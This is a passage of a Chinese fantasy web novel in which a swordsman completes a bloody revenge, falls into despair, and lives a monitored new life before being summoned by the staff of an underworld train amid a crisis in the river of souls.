“去他妈的规则!去他妈的秩序!去他妈的道德!复杂的东西都给老子滚一边去!老子已经受够繁文缛节了!老子只会依着自己的心办事,那些别人制定的东西我可不会奉行!” 我抬起魔剑,用剑指着傀儡师脸,说: “现在......我就要来夺走你的。准备好失去一切了吗?你这混蛋......” 傀儡师一脸不在乎地说: “无趣!你这厮纯属前来送死。” 傀儡师再次召唤出那三个战斗傀儡。傀儡师很不屑,但仍对我抱有一定的尊敬。毕竟我可是一路杀到这里的,实力可比当初强太多了。傀儡师庄重地说: “吊いの钟は谁のために鸣るのか?(丧钟为谁而鸣?)四星都市の光、傀儡师椿木武宪が狩猟に参与!(四星都市之光,傀儡师椿木武宪参与狩猎!)” 我露出放荡不羁的笑容,也庄重地对他说: “你要为了你的行为付出代价!你要用血偿还你欠下的血债。丧钟为你而鸣!” 我做出准备架势,狂笑着说: “Let's dance!(来起舞吧!)陶醉在夜曲之中吧!” 我与傀儡师随后展开大战。我们从楼顶一路打到顶层办公室,又从顶层办公室打到了顶楼大会议室,我们在顶层的各大区域进行着激烈交战。为了防止傀儡师因为胆怯而逃跑,我当着他的面杀死了椿木一马,并将椿木一马切成了好几块。这样的残忍,自然是激怒到了傀儡师。作为一个父亲,看着自己含辛茹苦养大的儿子在自己眼前被这样残忍地杀害,岂能忍受这样的暴行?他顿时暴怒! “啊!!!你竟敢杀了我的儿子!不可饶恕!我要在你死后把你的尸体做成玷污者的眷恋物!我还要找到你爱人的坟墓,将她也做成傀儡!让她和你的肉身一起被玷污,死后也休想安宁!” 他在无尽的怒火与痛苦中与我战斗,完全看不到一点狡诈多变的样子。他已经被怒火冲昏了头,不顾一切地想要杀了我,就像我当时失去卡娜铃兰时的那样。我们两个此刻都成了疯狗,都呲着獠牙要撕碎对方。他和我一样了,但是仅仅是这样还不够。为了让他能感受到与我一样的痛苦,我还得摧毁他最后能挂念的人。 在一个巧合的点上,我误打误撞来到了电梯井前面。我知道,椿木一马的未婚妻正坐着电梯下楼逃离。于是我一剑斩断了电梯门,又无情的两剑斩断了电梯的钢索。电梯飞速坠落,直至轰的一声,一切又归为了寂静。想必,椿木一马的未婚妻在电梯内已经摔了个粉身碎骨了。 失去了儿子,又失去了儿媳妇,他顿时化身凶猛的野兽,发了疯似地和他那些傀儡一起来攻击我。他现在可不在乎他那所谓的规则了,他现在只想弄死我。我和他一样,我们的目标都是彼此。不过,他只是一时的仇恨,而我则是一生的仇恨。积怨已久,已如饥渴难耐的野兽,需要释放它的野性。杀戮,正是最好的方式。夺去仇人的生命,是这只野兽唯一想要做的事情。 一轮惨烈的交战之后,这时傀儡师已是风中残烛,他所有的傀儡都被我杀得一干二净。当召唤师没有召唤物的时候,那位召唤师就是待宰的羔羊。这一幕似曾相识,过往的影子投射在了我们身上。熟悉的局势,但不是熟悉的人。 在一轮近距离交锋之后,我靠魔剑的及时提醒,我反击了他能缴械的一击,但结果是我们两个都缴了对方的械。现在,是真男人之间的一对一较量。我与他都是手无寸铁,于是都便抡起拳头进行肉搏。已是中年快老年的傀儡师不及年轻体壮的我,我的出招速度与力量在他之上。即便傀儡师手法精炼、体术高超,但也架不住我拳拳重击、出拳迅猛。我和他的每一拳、每一脚都是在将怒气与怨恨撒在对方身上,所以每一击我们都几乎使出了全力。 “去死!” “死ね!” 肉搏之后,我们快速拉开身位,各自去取各自的兵器。取回兵器之后,傀儡师对我说出了一句语重心长的话。 “站在这里,我才意识到,你和我一样,都试图营造一个幸福的生活。” 我冷笑一声,往地上吐了口嘴里的鲜血。 “可我们都毁了彼此的一切,不是吗?” 最后的决斗,我和傀儡师在怒火与仇恨之中爆发出全部的实力,用最猛烈、最残忍、最威武的方式去杀死对方。我们都渴望着胜利,渴望所仇恨之人带着各自心中的仇恨和痛苦离开这个世界。就像我最喜欢的办事风格一样,斩草除根要弄得一干二净。很显然,我和他是一样的想法。 令他可惜的是,最后的胜利者是我。我最后斩断了他一条胳膊、一条腿,还用魔剑刺穿了他的胸膛,而且顺带斩碎了他的鬼面。斩碎鬼面时我看清了傀儡师遍布疮痍的脸,还有他那绝望的眼神以及他眼角的泪水。若不是他死在了窗边,我也许还能再补上一剑,将他斩首。做完这些,我以为他死了。 但我还有些不放心。 当我抬头向楼下看的时候,我惊奇地发现傀儡师后背的几个鬼手正在外墙上攀爬着,它们托举着傀儡师一步一步往楼下走。那一瞬间,我感觉到极大的不甘与懊恼,我非常后悔没能补刀。我发了疯似的拿起周围的东西向傀儡师砸去,试图将他砸落到楼下摔死。可我那番举动只是无奈的宣泄罢了,我根本仍不到傀儡师的身上,他也根本不可能会被我扔的东西砸下去。 傀儡师在下楼的时候抬头看了一眼我,我们两个对视了片刻。我能看到他眼中的绝望、无奈、悲伤,还有一丝迷茫。我的眼神中是什么?我不知道,我也没机会知道。再坚强的男人也有落泪的时候,傀儡师的泪水也许自打他儿子惨死时就没停过;我的泪也是,自打卡娜铃兰和岚儿离去,我的泪也没停过。我曾在无数个寂静的夜里痛哭,也许他也会像我一样吧。 傀儡师重伤着离开,失去了他所拥有的一切。这一瞬间,这世上又多了个一无所有的男人。我的复仇到此结束了...... 我夺去了我仇人的一切,我毁掉我憎恶的一切,可我却感觉不到一丝的喜悦。复仇之后我只感觉心中空荡荡的,什么都没有了。虚无霸占了我的内心,将我最后一丝魂魄吸去。复仇之后,她和岚儿也不会回到我身旁,我那痛苦不堪的生活也不会发生半点改变。一切都已逝去,就连支撑我的仇恨也逝去了。一切都无法挽回了,一切都已经凋零了。 我坐在顶层的老板专属办公椅上,仰望着天花板破出了一个大洞外的天空。天空中烟火绚丽、火树银花,漫天都是喜庆,都是团员。可在我眼中,我好像看不到这烟火的美,我眼中的世界已经彻底失色。 “现在我还有什么呢?这条命?我手里的武器?还是我那空荡荡的房子?仇算是报完了,人也算是杀了,虽然杀的不对,但达到我预期的效果了。我的仇人将在生不如死的痛苦中度过每一天的煎熬,那比死了都难受!” 我看着我沾满鲜血的双手,心中久久不能平静。 “可是......我又得到了什么呢?我做这一切又是为了什么呢?为了她吗?可她希望我这样做吗?我不是答应好她好好生活的吗?我又毁约了!我又一次伤害了我最爱的人。这一切......好像只是我在宣泄愤怒而已。我好像背离了一切,我脱轨了!我毁掉了一切!” 我捂住心口,觉得心里一阵难受。 “为什么我的心这样难受呢?为什么我再也看不到生活的色彩了?我为什么活着?我为什么战斗?为什么?我已经遗忘了......我已经死了!死在了过去。那现在的我又是谁呢?我还是那个她深深爱着的齐百陵吗?谁来告诉我答案?” 我陷入到苦恼之中。我在虚无之中什么也感受不到了,我不由得害怕恐惧起来。就像我小时候怕黑不敢走暗巷一样。我真正害怕的失去又再度降临到我头上。 这次,我失去的是自我,是那个名叫齐百陵的男人。 “谁来告诉我答案?!” 但是谁也没有来。 一开始我是独自一人,到了结束还是我独自一人。我曾遇到的一切仿佛不曾来过,仿佛这路上只有我一人来过。原本我还有些东西可以留在手心中,可现在我真的是一无所有了。我从未觉得生活有这般无意义,复仇之后的每一秒对我来说都是煎熬。我的心中曾有着希望,但它已随着我的堕落而永沉深渊。 很快,前来处理这起事件的人们到了。首当其冲的,是我熟识的UppF那帮人。他们拿枪指着我,我并未反抗,扔下手中的武器接受他们的拘捕。此刻的我,就连反抗的心思都没有了。疯狂早就逝去,同我拥有的那些一切。 在我被强制击晕之前,我见到了一个特殊的人。碧蓝世界的老板,碧蓝苍穹走入现场,拦下了准备执行击晕的UppF成员。碧蓝苍穹对着我笑了笑,接着掏出一把手枪,对我说: “都市传奇齐百陵,想不到你竟然拥有这么强大的实力。而且,你手中的魔剑长得有些俊俏,很让我喜欢啊。” 我一脸生无可恋的样子,告诉他: “要拿你随意拿去。” 碧蓝苍穹笑了笑,告诉我: “不,小孩子才会做选择,你和那把剑我都要。” 我一脸惊愕地问: “你说什么?!” 碧蓝苍穹用手枪将我击毙,我那时“死”在了那里,对外传出的消息都是我阵亡在源能核心绞肉机现场。可只有我和内部人员知道,我并没有死,而是被碧蓝世界在暗中以高价买下了。至于买我这个生无可恋之人的原因,就是贪图我体内与所谓x能量融合的血液,因为我在x事件当中靠魔剑吸入了大量的x能量,所以我的血液非常具有研究价值。对于碧蓝苍穹这个不肯放过任何一个掘金洞的人来说,我是他绝对不能错过的大宝贝。 被碧蓝苍穹囚禁在实验室中的那段时日,我本想着找机会自杀,反正我那时已经是生无可恋了。可我转念一想,那样太对不起卡娜铃兰了,于是我就打消了这个想法。碧蓝苍穹这人比较仁慈,他觉得不能把我关在实验室里养,就决定改变策略,选择跟我谈了笔交易。 碧蓝苍穹买通一堆人,给我打好了关系,又给我弄来一个身份:地平区东洋墟居民陈思成。碧蓝苍穹给我开出条件,可以让我以这个身份得以重返都市,但是代价就是笼中之鼠一般的生活。 我要活在碧蓝世界指定的区域之中,不得逃跑、不得胡作非为、不经允许不能战斗、不得吃碧蓝苍穹本人讨厌吃的西红柿;还要在碧蓝世界指定委派的工作岗位上班,不得辞职,不得反抗上司,要老老实实地工作,并且每周都要去指定的献血地点献一定的血,为了辅助碧蓝世界研发新科技。 我答应了碧蓝苍穹,出于多方面因素。 说真的,这样的生活属实是令我觉得憋屈。我感觉就真的跟活在笼子里一样,每日被人监视,做事都要小心翼翼,跟脾气不好的上司交往还不能顶嘴,这完全不是我的风格。最重要的是,他不让我吃西红柿!西红柿炒鸡蛋可是卡娜铃兰生前最喜欢吃的我做的菜!可为了我这条小命,为了能兑现我跟她留下的约定:“好好生活”,为了我还稍稍有点能期待的未来,我选择忍耐。 但其实,这样的生活也不算太糟。我还有个奔头,起码不会像儿时那样迷茫;我还有个能住的地方,起码没有风餐露宿;我还有生活下去的动力,总比我那时死了要强一些。虽然我很想她和岚儿,但我想我好好活着也许比见她们更值得让她们娘俩开心。 到了这里定居之后,生活的确变得不大一样了。没了以前的危机四伏,我还有点不适应。这里的问题大多可以通过协商解决,而非像以前一样用刀剑武术。我终于知道她为什么想带我来这里,这里生活的确舒适,但缺少几分我说不出的温馨。我以前为了复仇,从来没细细感受过这里的生活。我现在真觉得那时的我愚蠢至极,忽视了那么多的美好,但所幸上天还给了我一次重来的机会,让我有缘感受到这些我曾错过的美好。 对啊,我曾错过了那么多啊!现在回头也来不及了,只能走一步看一步了。 在笼中之鼠的生活之中,最值得我高兴的事,那就是种花。碧蓝苍穹对我种花的行为表示不屑,这事上不屑于管我。我种花的技巧还是不还熟练呀,一开始的十五盆花让我不小心弄死了七盆,真是有够可怜的。要是那位园艺大师还在,我免不了要挨说道几句。这种最低级的错误我竟然还犯,真是有够让人恼火的了。当我种花的时候,我能感受到曾经那份熟悉的纯真。那份纯真令我感动,那是我为数不多能笑出来的时候。 我每天一顿早饭,一顿午饭,一顿晚饭,每天照顾三次花,还得给人看小区,晚上还得去小马哥那里喝个通宵,这一天说过去就过去了。这样浑浑噩噩的日子可以说实在混,但我就喜欢这么混。 不过有些时候,我会改变我的作息习惯,开始健康又勉强说得上是快乐的一天。好好护理花,跟老板请个假去公园走走,逛逛街,溜达溜达放松下精神。一天过完,回到家看会电视,看看我最爱看的音乐节目。要不是我没买吉他,我这时定会对着夜空弹奏一曲。这样的一天过完,稍有疲累的我躺在床上,进入梦乡前我会感觉到久违的舒心与快乐。 因为这样的生活,就像她活着时那样...... 轻松而又愉快呀! window.fkp = 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吃过早饭,他先去料理小花园里的那几盆花,对于他来说花是神圣的,优先要照料这些花花草草。 陈思成: “小花儿们!来,浇水了。” 浇水时,陈思成注意到其中一盆花开放了,不知是何时开的。见到花开,他欣喜万分,成就感伴随着喜悦涌上他的心头。对于种花人来说,种下种子是期待,护理鲜花是快乐,见到花开是幸福。 陈思成: “诶!我才注意到,这花昨天开过了?诶呀,真是可惜。昨天晚上开的吧,可惜错过了。要是能在花开时给它拍一张照就好了。” 这份幸福值得他去分享,可他只能分享给屋内其他的花。 虽然他拍不到花开初开时那一刹那的绚丽,但他拍到了花开许久仍亭亭玉立的坚毅。这盆花正正好好是他养到开花的第十盆花,依靠他自己的双手,种出的这盆美丽的话。那个园艺大师并未帮助他,这算是他的一种进步了。 “亲爱的,我终于从一个园艺菜鸟进阶为了园艺入门者。这是我自己栽种的鲜花,它已经盛开了。这是第十盆了。我激动得都不知说些什么了。我真希望能跟你分享这份喜悦,可你在天上......你在天上应该看得见的吧。” 陈思成看着眼前盛开的花朵,不由得深情说道。这时候,监视者走到他的身后,为他拿来了一条毛巾。 监视者: “她会因你而骄傲的。” 他感动地一笑,接过监视者手中的毛巾,擦了擦脸上的汗水。按照规定,监视者不该跟他有互动。但监视者本人被这个痴情的男人给打动,监视者有理由睁一只眼闭一只眼,偷偷给予他几分善意,就像他吃西红柿一样偷偷。 然后他再收拾屋子,他将屋子里里外外收拾得干干净净,还特意将那个特殊房间也收拾了一番。 陈思成擦了擦额头上的汗,又喘了几口气。打扫屋子是一件很累的事情,无论何时何地都是如此。 陈思成: “呼!真累啊。只是一天不收拾,屋里又多了这么多垃圾。” 监视者走到他身旁。 监视者: “很真实,在以前家里没有保洁机器人,我也得像你这样。” 陈思成: “我要也有个保洁机器人就好了。” 监视者: “你可以买一个,那东西稍稍有点贵。” 陈思成: “那还是算了吧,我觉得干干活锻炼身体也挺好的。” 最后他带着一份好心情离开家,随处走走。 与往日的休闲日不同,这次他在一处公园散步的时候,意外遇到了冥河使者。他并不知道自己眼前这个威严感十足的高个子提灯者是冥河使者,他以前压根没有见过这种生物。冥河使者向他递出一份邀请函,他接过来一瞧,发现是来自黄泉旅行团的邀约,邀请他去郊外的废城区里见什么东西。 陈思成: “嗯?邀请我去那里干什么?” 冥河使者: “黄泉之列车,相居其处,有司列车者欲可得而见也。” 陈思成: “啊?啥意思?黄泉列车?那是啥东西?” 冥河使者: “比至,便知之。予但过携一物,其详问汝人。” 陈思成: “啊,这。你这话我听不明白啊。” 冥河使者: “汝行便是。” 说完,冥河使者穿过他的身体,如幽灵般消失了。陈思成张望了一下周围,没找到冥河使者的影子。他一脸困惑地看向手中的邀请函,好奇究竟是什么人会邀请自己去那样偏远的地方。出于对危险的考虑,他回家将魔剑取来,随身携带。之后,他就按照邀请函上的位置去到了郊外的废城区。 与此同时...... 在废城区之中,一列造型古怪的列车停靠在废弃火车站站点旁。废弃站台上站满了准备上车的灵魂,它们准备奔赴黄泉;列车内也站着几个灵魂,它们是来接亲友入黄泉的。现在列车还未打开车门,距离列车发车也还有很长一段时间。灵魂聚集在列车旁,各自念叨着自己生前的遗愿。这其中有多数是对家人、朋友、感情与对这个世界的不舍得。 站台上是很热闹的。灵魂与灵魂之间在沟通、交谈或讲述自己的故事,这样无阻隔的谈论令每一次灵魂谈话都异常的愉快。当然,并不是所有灵魂都这样文静。有的灵魂在打闹,有的灵魂在乱跑乱动,有的灵魂干脆唱起歌或是跳起舞,当着所有灵魂的面表演才艺。这样的热闹丝毫不亚于活着乘车的乘客。无论是生是死,站台总是个热闹的地方。 值得庆幸的是,这里的灵魂都是无罪的灵魂,因为有罪的灵魂早已被冥河使者超度。按照常理,不该有这么多的灵魂在站台上等车,因为黄泉列车只是来接那些未能顺利坠入冥河的灵魂。可今天一次性来了这么多的灵魂,想必不是爆发了战争就是冥河那边出了事。 在站点对面的休息区内,两个神秘人与列车长见面了。 这两个神秘人身着一身带黑树枝的黑皮刺客斗篷,腰间挂着一把闪烁着淡蓝色光辉的刺剑,面带一个有着大树条纹的面具,看起来甚是神秘。他们的斗篷上还有着一个褴褛的披风,披风上留有大叔组织的图标。这两个神秘人见到列车长后,都摘下了各自的面具,撂下了各自斗篷上的帽子。这两个神秘人一个红发一个蓝发,看着有种莫名的搭配。两人的肤色相近,有种亲兄弟的感觉。 列车长见到他们二人,高兴地拍了拍手。随即,列车长背起手来做出庄重的迎接姿势,迎接这两位到到来。 离别(黄泉列车列车长): “恭迎二位。我可算把你们盼来了,我们这边可出了不小的乱子,还请你们得鼎力相助啊。” 瑞恩(大树守卫): “我们二人前来寻你,正是来向你问个清楚状况。” 星北空(大树守卫): “请配合我们的调查。” 离别: “现在,冥河出现了前所未有的危机。冥河结“冰”了,一层薄冰覆盖了大面积的冥河,那层冰拒绝着一切。大量灵魂无法进入冥河转世投胎,大量灵魂被迫开始在世间流浪。死亡被夺去一半,越来越多的活尸出现在这世界上。灵魂在脱离肉体后会很快就走向死亡,灵魂中的源质将会坠入冥河重塑魂体而转世。可冥河拒绝了一切,只有少数的幸运灵魂可以进行转世投胎,冥河铸造的平衡被打破了!这导致了魂循环系统的直接瘫痪!” 离别: “最为可怕的是,那层冰还在不断凝结,冥河即将被这层冰完全覆盖。” 瑞恩: “知道原因是什么吗?” 离别: “暂未找到,冥河使者仍在调查。” 瑞恩: “除此之外这还会导致什么?” 离别: “根据我的推断,这应该会导致深渊之灵的暴走。深渊之灵镇守在人间与冥河的入口,大量的灵魂聚集在冥河入口附近,必然会引发深渊群系的动荡。我猜,那位被遗忘的深渊之神:恒律太玄魂皓渊遥游应该会苏醒过来。到时候,灵魂的循环模式将强制发生一小段时间的转移,由深渊暂时接纳那些流浪灵魂。” 星北空: “现在流浪灵魂基数达到多高等级了?亡灵的基数呢?” 离别: “流浪灵魂基数已经达到N级,亡灵基数还只是S级,但这基数已经是前所未有的庞大了!” 星北空: “糟糕,这样下去魂循环系统将会走向崩溃的。恐怕......到时候死亡将是永恒的,一旦死去就是永世不得轮回。我们必须做点什么!” 瑞恩: “我们大树组织还能招募一些强大灵魂,也能接收一部分的流浪灵魂。魂世界的魂之树还很蓬勃,能接纳很大基数的流浪灵魂。可这终究是缓兵之计,但是起码还有些作用。” 离别: “我们的黄泉列车一天二十四小时不间断将灵魂送入冥河,勉强可以雨点均沾,让每个区域的流浪灵魂一部分回归冥河。不过这样的效率根本赶不上死亡所造就流浪灵魂的速度,很快流浪灵魂将充斥整个世界。” 离别: “若魂循环系统彻底崩溃,那么这个世界将迎来终末。掌管死亡的死之龙定会夺去所有生命的死亡,让每一个生命都活在永恒的地狱之中。因为那样可以减少泛滥的流浪灵魂。同时新的生命也将无法诞生,越来越多的无魂活尸将会泛滥在这个世界上。那将是末日!” 瑞恩: “大树组织不允许那样的事情发生!大树的根连着地下的冥河水,冥河完了,魂循环系统完了,大树会死亡的,我们大树组织也将灭亡。我们时代守护魂循环的平衡,保护灵魂最后的乐园。若有人要夺去这些,我们定会让那人付出代价!” 星北空: “这事关重大,关乎存亡。我们大树组织有必要介入此事,令为非作歹者付出惨痛的代价。熔炉的火焰将焚尽那些人的肉身、精神以及灵魂。” 瑞恩: “我们大树组织很快就会展开行动,开始调查这件事。无论如何,我们绝不会让大树死亡。大树母亲的光辉赐福着每一个生命,我决不允许有人熄灭那道光。” 离别: “欢迎你们大树组织介入此事。我们冥河之民们万分感谢你们的协助。” 瑞恩: “不必客气。冥河水滋养大树,大树根巩固冥土,我们是一家人。团结一心,共同应对困难。” 冥河之民和大树组织在此联合。瑞恩和星北空与离别握手,代表大树组织与冥河之民达成盟约。 这时,列车管理者不欲跑了过来,着急地说道: “离别!有英灵要上车。” 离别两眼放光,惊奇地说: “真的吗?那太好了。快,速速带我去见它。” 不欲和离别飞速跑离了这里。两个大树守卫见了,好奇地跟了上去。由于不欲和离别跑的速度惊人的快,两个大树守卫根本追不上。于是乎,他们两人就站在一个看清站台的地方静静注视不欲他们。 不欲和离别来到英灵面前,与英灵聊了很多事情,然后英灵点了点头;接着他们又聊了一些东西,英灵就露出了释然的表情。这时,逝心、断情、怨悔和寂狱四人抬着一个造型华丽的棺材走了过来。不欲和离别一见到这个棺材,瞬间就懂了一切。一旁在站台上清点魂数的灾祸清点完要上车的灵魂后,嗅到了专业的气息,他转头一看,不欲他们正准备欢送英灵上车。灾祸一瞧,这样的事怎能少得了他,他急忙跑了过去。 离别抱起英灵,将它轻轻地放进棺材里,接着将棺材板盖好。离别、不欲、灾祸、逝心、断情、怨悔、寂狱七个列车工作人员站在一起,顿时化身七个专业丧葬人员。他们用最专业的的目光审视眼前的棺材,用最标准的站姿宣告对英灵崇高的敬意。死亡如风一般吹起他们的领带,环绕着金耀的光辉爬上他们的脊背,周围的空气冷如冰雪曝如霜,但温情弥漫,刺骨的寒冷中不乏温情。 离别: “兄弟们各就各位。” 七人整齐的踏地,步伐如一。 灾祸: “向死者致以最崇高的敬意!” 七人齐刷刷地低头,惊人的默契。 不欲: “准备起棺,送英灵入列车。” 离别变出一根金黄的手杖拿在手里,接着不欲等人走到棺材前,一把将棺材扛起。专业又喜庆的音乐奏响,一场送别英灵的葬礼就此开始。离别背着音响、拿着手掌走在抬棺队伍前面,不欲、灾祸等人扛着棺材走在后面。在喜庆的音乐之中,不欲、灾祸等人扛着棺材跳起了欢送的舞蹈,在音乐的节奏中迈着轻快的舞步,在离别的带领下前进。 寂狱: “兄弟们,走!” 专业团队走过站台,路径上的灵魂统统给让开了道路。喜庆的音乐感染了站台上的灵魂们,它们当中的小部分都不由得卡着音乐的点拍手。本来热闹的站台现在变得更热闹了,灵魂们在喜庆的音乐中都开心起来。灵魂们再次感受到活着时的幸福与快乐,热闹中潜藏着几分伤感。这样的景象引得两位大树守卫鼓掌夸赞。走向黄泉的道路本该是悲哀,但在这里却是开心的乐园。 在一旁,拿着邀请函的陈思成正目瞪口呆地看着眼前的景象。他一度怀疑自己是不是来错了地方。那七个长相怪异的人扛着棺材在站台上跳舞,而且还时不时对一旁挥着手。陈思成陷入沉思,陈思成非常不理解他们的行为。 陈思成: “诶?我是不是来错地方了?” 陈思成在原地犹豫了一会,觉得还是上前问问较好。于是,他带着好奇心走上站台,走向了抬棺的那七人。这时,在一旁的大树守卫注意到陈思成的存在,出于警惕与好奇,这两位大树守卫上前去拦住了陈思成。 瑞恩: “喂!你是干什么的?来这儿做什么?” 陈思成: “我是受邀请来到这里的。就是你们两个邀请的我吗?” 瑞恩: “完全没有这回事。” 陈思成: “啊?那这邀请函......” 星北空: “我知道了,是黄泉旅行团那帮人邀请你来吧。” 陈思成: “对。但......你怎么知道。” 星北空: “我猜的。” 陈思成: “猜得真准。” 瑞恩: “既然是他们邀来的人,那我们就不必插手了。准备撤退吧,星北空。” 瑞恩动身就要走,陈思成伸手拦住了他。陈思成见他面熟,总觉得从哪里见过,但又说不出名字。 陈思成: “诶!别走着。” 瑞恩: “怎么,你有事吗?” 陈思成: “我们是不是从哪里见过面?” 瑞恩: “见过面......哦!你这么一说我倒还真有点印象。你是不是叫齐......” 陈思成急忙开口打断他的话。 陈思成: “对对对。你知道我是谁就行,别把话说出来。” 瑞恩: “那时的偶像,想不到我竟能在这里见到你!真是巧了。” 星北空: “这名字怎么这么耳熟?我是不是从哪里听过?” 瑞恩: “怎么,这又让你想起什么来了吗?” 星北空: “想起了一点。不过我失去的记忆还很多,现在有的也只是碎片。” 陈思成: “对了,瑞恩。之前跟你在一起的那个妹子去哪了?” 瑞恩: “妹子?你说莉莉呀。这个吗......自从被人打了脑袋,一觉醒来来到冥土之上之后,我就再也没见到过她。我也不知道她现在在哪里。她应该过得挺不错的吧!我猜的。” 星北空皱紧眉毛,他的身上泛起了苍白色的灵魂之息。一些白色发光碎渣吸附到了他的身上,慢慢渗入到他的体内。那是他灵魂的残渣,储存了他全部的记忆。 星北空: “莉莉,莉莉?莉莉是谁?不对......我好想认识这个人,她好像是我生前一个比较重要的人。” 瑞恩猛地一个转头看向星北空。瑞恩的眼中有光,其中包含希望。 瑞恩: “你也认识她?那你跟她混得怎么样?” 星北空: “我不知道......我记不起有关她的一切了。” 瑞恩: “那可真是可惜。你要能回想起有关她这个辣妹子的事,那你可得跟我好好说说,我非常想听。我已经很久没有听到过她的故事了。” 星北空面露难色。 星北空: “到时候再说吧。” 瑞恩: “齐......” 陈思成瞪了瑞恩一眼。 “......实我很好奇一个事情。之前我曾看到你身旁常常跟着一位棕色头发的女孩子,可在突然有一天那个姑娘消失了,自那之后我再也没有看到她。你知道她去哪里了吗?” 陈思成旧日的伤痕隐隐作痛。 陈思成: “我......她丢了,我把她弄丢了。” 瑞恩: “现在找到了吗?” 陈思成: “也许没有......” 瑞恩: “老哥,那你可不能放松警惕呀,得赶紧找着她。” 陈思成: “我会的......” 这时,星北空脑中灵光一闪,突然想到了一个好主意。 星北空: “瑞恩,我突然想起来一件事。” 瑞恩: “什么事?” 星北空: “我们为何不试试用熔炉的火来融化冥河的冰呢?” 瑞恩: “对呀!熔炉的火可是比龙焰都牛逼的火,区区冥河之冰肯定不在话下。你这小子可真聪明!没白把你从废墟里救出来。” 瑞恩突然一把拉起陈思成的手。这时,冰冷刺骨的寒气顺着瑞恩的手慢慢爬上了陈思成的手臂,陈思成不禁全身寒毛直竖。那种感觉,仿佛在触碰死亡。瑞恩冲着他露出笑容,他也露出微笑回应。 瑞恩: “很高兴见到你,齐......实我很敬仰你,你在心中就是个妥妥的传奇。” 陈思成: “英雄?我办的那些事怎么能说是传奇呢?罪人还差不多。” 瑞恩: “不用这样贬低自己,齐......实在我们这些外人看来,你的的确确就是个传奇。因为你做到了我们都做不到的事情,你以一己之力震惊了整个世界。” 陈思成脸上泛起了一抹淡淡的微笑,微笑中藏着一丝难以察觉的高兴。 陈思成: “至于那样吗?” 瑞恩: “怎么不至于呀?那样传奇性的行为,给我十条命我都做不到。” 陈思成感到了久违的一丝慰藉。 瑞恩: “还有一件事。” 瑞恩放开了陈思成的手。 瑞恩: “你不该成为‘烟火’了吗?为何今天还能出现呢?” 陈思成: “......那是个秘密。” 瑞恩耸了耸肩,笑着说: “那就当它是个秘密吧。” 瑞恩用肘怼了怼一旁苦思的星北空,星北空回过神来。瑞恩对星北空使了个眼色,星北空领会,点了点头。星北空拿出大树圣印记,随后使用圣印记在身后召唤出一道黑色树枝构成的大门。这道门名为:“廿八魂门”。 瑞恩: “齐......实到点了,我们两个得回去处理事物了。再回......老兄。” 星北空: “再回,先生。” 他们两个转身正要走,陈思成叫住了他们。 陈思成: “喂!先别走着。” 他们两个停步,转过头来一脸疑惑地看着陈思成。 瑞恩: “老兄,你还有什么事吗?” 陈思成: “你们知道卡娜铃兰的灵魂去哪里了吗?” 瑞恩: “你知道她?!哦,谢天谢地,终于碰上个认识的人了。” 陈思成: “她的灵魂怎么了?” 瑞恩: “哎呀,那可就是苦恼事喽......” 星北空: “她的灵魂拒绝回到冥河,因而流浪在人间。但想必过不了多久,她就会魂体破碎而回归冥河。哦!我忘了冥河现在出问题了。” 陈思成低下头思考了片刻,然后抬起头,又问了个问题。 陈思成: “那岚儿的灵魂呢?” 星北空: “岚儿?岚儿是谁?” 陈思成: “齐天岚,一个大约几个月大的孩子。” 瑞恩和星北空对视了一眼。 瑞恩: “齐天岚?你见过吗?” 星北空摇头。 星北空: “没有,没见过。” 陈思成叹了口气,很失望地摇了摇头。 星北空: “他是你什么重要的人吗?” 陈思成: “......无可奉告。” 星北空: “好吧。——那你还有事吗?” 陈思成: “没有了。你们离开吧。” 他说完这句话之后,瑞恩和星北空穿过廿八魂门,回到他们的世界。廿八魂门很快就消失了,化成无数枯叶。看着眼前消失廿八魂门,陈思成的心久久不能平静。陈思成细细回味着他们之间的对话,总觉得这话里面藏了一个重要的信息。但他想了半天也没想出来个所以然...... 陈思成迈着矫健的步伐走到列车旁,见到了那七个抬棺材的怪人。此时,英灵已经随棺材上了车。这七人正在列车旁休息,听到身后传来脚步声,那七人齐刷刷地看向身后。见到陈思成后,这七人顿时进入警戒状态。陈思成拿出了邀请函,那七人中的离别上前迎接他。 离别笑着说道: “你终于来了,x06。” 陈思成一脸疑惑地问: “什么?” 剩下那六人聚到陈思成周围,用一种奇异的眼光审视陈思成。陈思成环顾四周,发现这六人以不同的姿态面对他这位特殊来宾。 逝心抱起膀来,一脸难以置信的样子。金色的锁链缠绕在他的双臂之上,逝心犀利的双眼发出了淡蓝色的光芒。那道光仿佛可以击穿一切,任何谎言与伪装都是无用的。 逝心: “这就是那个以一己之力给我们增加好一票业务的06?” 灾祸握紧双拳,一副躁动的样子。他的脖子开始燃烧,他的头颅在火焰中焦黑如炭,无数战斗的火花正从他的眼中迸出。 灾祸: “看起来是位隐藏的高手啊!一身再普通不过的心头,看着是与常人无疑。可我嗅到了!这点衣服可盖不住你身上蕴含的强大力量。” 陈思成听得一头雾水,他不解地说: “什么?” 寂狱露出奇异的笑容,一排锐利且洁白的牙齿也随之露出。一把把黑暗之剑刺出它的皮肤, 寂狱: “你身上携带着一把不属于这个世界的武器。我看出来了,你非常的危险。虽说06的危险指数不足N,但我感觉到你具有匹敌N的力量。” 断情将手伸进自己西服内,拿出一颗猛烈燃烧的地狱之心。地狱之心燃烧所发出的光芒映照出陈思成的痛苦,他黑色的死神之心中残存几分洁白正在裂解着他的心,无尽的黑暗正在与光明正在博弈。 断情: “你仍藕断丝连,不肯继续前进,不敢正视过去,不愿接受现实。你需要为你的心进行清理工作,最好是一把火烧掉那些痛苦。这样你才不会痛苦地活着,这样你才不会驻足过去。” 这些话语戳中了陈思成内心。陈思成非常疑惑,为何他们能知道自己的过去?旧日的伤痕隐隐作痛,痛苦令他不安。他明知故问道: “你们都在说些什么?” 不欲拿起小金天平对着陈思成比划了一下,天平倾倒了,是不公。见到结果后,不欲快速收起天平,同时表露出一脸同情的样子。 不欲: “你的影子很痛苦,我猜你也是一样。你遭受到的苦难是常人难以想象的,因而不会有人理解你的痛楚。你身上没有一块是完整的,你身上到处都是伤痕!生活的斩刀已经将你肢解,是你最后的信念让你没有分崩离析。你若没有犯下那样的罪孽,你也可以以英灵的身份归入冥河。” 怨悔摆弄了一下它的利爪,它轻轻一挥手撕裂出一根根黑色的丝线。丝线联结在一起,慢慢地构成了一个人的形状。丝线继续联结,这个人的形状越来越扭曲,最后变成了一个不可名状的怪物。怨悔摇摇头,苦笑了三声。 怨悔: 